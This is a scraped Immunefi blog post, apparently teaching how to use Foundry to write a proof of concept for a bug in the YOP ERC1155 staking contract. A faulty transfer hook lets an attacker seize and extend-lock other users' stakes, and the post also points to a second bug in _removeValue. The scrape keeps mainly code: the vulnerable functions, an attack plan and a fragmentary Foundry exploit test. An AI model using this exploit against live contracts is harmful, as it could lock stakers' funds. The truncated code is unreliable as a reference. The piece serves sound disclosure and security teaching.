Published in


How To Use Foundry To PoC Bug Leads, Part 2


Introduction To ERC1155

.function _safeTransferFrom(
address from,
address to,
uint256 id,
uint256 amount,
bytes memory data
) internal virtual {
require(to != address(0), "ERC1155: transfer to the zero address");
address operator = _msgSender(); _beforeTokenTransfer(operator, from, to, _asSingletonArray(id), _asSingletonArray(amount), data); uint256 fromBalance = _balances[id][from];
require(fromBalance >= amount, "ERC1155: insufficient balance for transfer");
unchecked {
_balances[id][from] = fromBalance - amount;
_balances[id][to] += amount;
emit TransferSingle(operator, from, to, id, amount); _doSafeTransferAcceptanceCheck(operator, from, to, id, amount, data);

Mistake In Overriding Hook

function _beforeTokenTransfer(
address _from,
address _to,
uint256[] memory _ids,
uint256[] memory,
bytes memory
) internal override {
for (uint256 i = 0; i < _ids.length; i++) {
uint256 tokenId = _ids[i];
Stake storage s = stakes[tokenId];
s.lastTransferTime = _getBlockTimestamp();
uint256 balance = _workingBalanceOfStake(s);
if (_from != address(0)) {
totalWorkingSupply -= balance;
_removeValue(stakesForAddress[_from], tokenId);
owners[tokenId] = address(0);
if (_to != address(0)) {
totalWorkingSupply += balance;
owners[tokenId] = _to;
} else {
// this is a burn, reset the fields of the stake record
delete stakes[tokenId];
function _beforeTokenTransfer(
address operator,
address from,
address to,
uint256[] memory ids,
uint256[] memory amounts,
bytes memory data
) internal virtual {}

Assessing Impact

function extendStake(
uint256 _stakeId,
uint8 _additionalDuration,
uint248 _additionalAmount,
address[] calldata _vaultsToUpdate
) external nonReentrant {
require(_additionalAmount > 0 || _additionalDuration > 0, "!parameters");
Stake storage stake = stakes[_stakeId];
require(owners[_stakeId] == _msgSender(), "!owner");
uint8 newLockPeriod = stake.lockPeriod;
if (_additionalDuration > 0) {
newLockPeriod = stake.lockPeriod + _additionalDuration;
require(newLockPeriod <= MAX_LOCK_PERIOD, "!duration");
//... unrelated code

Let’s Build The PoC

  • Mint a staking position for the attacker
  • Use the vulnerability in _beforeTokenTransfer to transfer any prior staking position from the attacker to himself
  • Extend the duration of staking for the position since we have ownership over it
  • Use the vulnerability in _beforeTokenTransfer to transfer the attacker-created staking position back to the attacker so as to retrieve his funds
function testYopMaliciousLocking() public {
deal(address(yopToken), attacker1, 500 ether);
//Impersonate attacker1 for subsequent calls to contracts
uint8 lock_duration_months = 1;
uint realStakeId = 127;
uint additionalAmount = 0;
//Create a staking position
yopToken.approve(address(staking), 500 ether);
uint attackerStakeId = staking.stake(500 ether, 1);
staking.safeTransferFrom(attacker1, attacker1, realStakeId, additionalAmount, '');
//The stake with id 127 is locked for 3 months
uint8 lockTimeRealStakeId = 3;

//We lock the stake for the maximal duration
new address[](0)
//The beautiful thing is that the attacker can regain control of his stake
staking.safeTransferFrom(attacker1, attacker1, attackerStakeId, additionalAmount, '');
//Standard cheat for elapsing given time in seconds
staking.unstakeSingle(attackerStakeId, attacker1);

Another Hidden Bug

function _removeValue(uint256[] storage _values, uint256 _val) internal {
uint256 i;
for (i = 0; i < _values.length; i++) {
if (_values[i] == _val) {
for (; i < _values.length - 1; i++) {
_values[i] = _values[i + 1];

Additional Inconvenience




Get the Medium app

A button that says 'Download on the App Store', and if clicked it will lead you to the iOS App store
A button that says 'Get it on, Google Play', and if clicked it will lead you to the Google Play store

Immunefi is the premier bug bounty platform for smart contracts, where hackers review code, disclose vulnerabilities, get paid, and make crypto safer.